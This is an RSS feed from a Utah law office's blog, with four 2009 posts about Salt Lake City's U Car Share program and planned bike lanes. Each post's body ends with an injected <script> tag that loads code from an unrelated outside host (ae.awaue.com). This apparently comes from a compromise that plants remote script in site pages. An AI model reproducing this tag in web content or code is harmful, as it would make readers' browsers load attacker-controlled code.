<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ban Law Office PC - Utah Veterans Disability, Utah Environmental Law &#187; Transportation Issues</title>
	<atom:link href="http://www.banlawoffice.com/category/utah-environmental-news/transportation-issues/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.banlawoffice.com</link>
	<description>representation of the disabled • Call 1-801-532-2447 • no fee unless you win </description>
	<lastBuildDate>Sun, 11 Jul 2010 21:50:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>More Info on Ucarshare</title>
		<link>http://www.banlawoffice.com/2009/10/08/more-info-on-ucarshare/</link>
		<comments>http://www.banlawoffice.com/2009/10/08/more-info-on-ucarshare/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 23:38:08 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Transportation Issues]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=645</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The new car sharing program in SLC is off to a pretty good start with 400 participants and efforts to increase this number could make a dent in taking more cars off the road.  Wanted to pass along information about the cost savings of participation.  These <a href="http://docs.google.com/fileview?id=0BwXypxToRFNrNWFjYjkzZGItZTY2Ny00ZmE1LWEyYWQtNDEwZWEzZDQ4Y2Ez&#038;hl=en"><font color ="blue">savings </a></font>are quite substantial.  The <a href="http://docs.google.com/fileview?id=0BwXypxToRFNrN2NmN2ViZGMtOWQ1MC00NTNjLTg5OGYtMTVjNDQwZjI1YWEx&#038;hl=en"><font color ="blue">locations </a></font>will increase over time, but right now they are centrally located downtown and the university.  The <a href="http://docs.google.com/fileview?id=0BwXypxToRFNrZDRhNzMwZjMtYzJhMC00NjNjLTgwYmItYzlmYTRmOTQ1Zjdk&#038;hl=en"><font color ="blue">procedures </a></font>to use the cars couldn&#8217;t be any easier since you can use the web to reserve, check in with a card, and check out with card as well.  Also right now there is no enrollment fee.  The program uses the toyota prius at .59 cents a mile, ford escape at .69 cents, ford focus and toyota yaris at .49 cents.  The cost is typically capped at $10.00 per use even going up to 185 miles in a single usage.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/10/08/more-info-on-ucarshare/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Look for New Bike Lanes and Green Lanes</title>
		<link>http://www.banlawoffice.com/2009/08/20/look-for-new-bike-lanes-and-green-lanes/</link>
		<comments>http://www.banlawoffice.com/2009/08/20/look-for-new-bike-lanes-and-green-lanes/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 23:25:50 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Transportation Issues]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=531</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The City has released a <a href="http://docs.google.com/fileview?id=0BwXypxToRFNrMjcxMGM4ZDgtMTAzZS00Y2VhLTg5YzUtNzI2OWJkZjkzN2Yy&#038;hl=en"><font color ="blue">schedule </a></font>of work that has been done already or will be done in the near future in the area of bike lanes and other transportation projects.  The city has already created significant new bike lanes in the SW quadrant of the City and will soon install new green lanes and conventional bike lanes in other areas of the city including Main Street going south to South Salt Lake.  Other projects include new installation of bike racks throughout the city and improvements to 1300 east to create more pedestrian crossings and hawk lights for safer passage across the street.  </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/08/20/look-for-new-bike-lanes-and-green-lanes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Car Sharing in SLC</title>
		<link>http://www.banlawoffice.com/2009/08/19/car-sharing-in-slc/</link>
		<comments>http://www.banlawoffice.com/2009/08/19/car-sharing-in-slc/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 15:10:48 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Transportation Issues]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=517</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">SLC has contracted with U Car Share (a subsidiary of U-Haul) and now has a car sharing program just like more progressive cities such as Eugene/Portland, Or, Madison, and Berkeley.  There is a one time $25 fee that I think can be waived through a promotional deal, and then each hour of use is $4.95 + .60 a mile.  An e card is used to open the car and the keys are left in the ignition.  Currently the cars are parked at the UTA TRAX lots but will be scattered throughout the city and around the University of Utah.  The program has the potential to provide a way for people to get out of car ownership and into a car sharing program where if you use the program frequently would only amount to around $350 a month, which is a significant savings over typical car ownership.  The program uses cars such as Toyota Prius and Ford Escape hybrids.  </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/08/19/car-sharing-in-slc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SLC Bike Lanes to Increase by 1/3rd</title>
		<link>http://www.banlawoffice.com/2009/08/04/slc-bike-lanes-to-increase-by-13rd/</link>
		<comments>http://www.banlawoffice.com/2009/08/04/slc-bike-lanes-to-increase-by-13rd/#comments</comments>
		<pubDate>Tue, 04 Aug 2009 15:01:04 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Transportation Issues]]></category>
		<category><![CDATA[Utah Environmental News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=465</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.banlawoffice.com/googleea0dc673e73a7947.html  /21_02_30-cycleing_web" rel="attachment wp-att-472"><img src="http://www.banlawoffice.com/wp-content/uploads/21_02_30-Cycleing_web-150x150.jpg" alt="21_02_30---Cycleing_web" title="21_02_30---Cycleing_web" width="150" height="150" class="alignleft size-thumbnail wp-image-472" /></a></p>
<p style="font-family: times; font-size: 16px">I was able to get some of the maps that detail the new bike lanes that will soon be painted this summer and fall.  SLC Bicycle Coordinator Dan Bergenthal said that they tried to put new lanes where no road work would be required and all they would have to do is paint the lines.  Recreational bike trails have been and will be expanded along the Jordan River and Parley&#8217;s Trail (PRATT), and soon these trails will connect.  The Jordan River trail will actually connect to the Legacy Trail in the next couple of years.  You can view this map <a href="http://docs.google.com/fileview?id=0BwXypxToRFNrZDQyYjY0MTQtZTVjOS00MzAxLWFjNDItM2RiZjZkMjAxY2Fi&#038;hl=en"><font color ="blue">here</a></font>.  In terms of city lanes the far west side is to see a huge increase in lanes along 4400 West, 2100 South (between 5500 West and 4400 West).  Main Street all the way from 200 south to 2100 south will see new lanes as well as 700 south even though its proximate and parallel with the existing 800 south lane.  The map can be seen <a href="http://docs.google.com/fileview?id=0BwXypxToRFNrOWMwYTQyM2YtYjJiZC00M2JiLTllMTItOTlhMDQwMzczNzAz&#038;hl=en"><font color ="blue">here</a></font>. The policy of the city is to put in lanes where ever there is ability to put in a lane due to available space and no road work is needed.  It will take time to put in lanes along streets that need lanes but due to space limitations and on street parking it will be a tough grind especially along streets like 1300 south or 1700 south where a lane is really needed.  </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/08/04/slc-bike-lanes-to-increase-by-13rd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
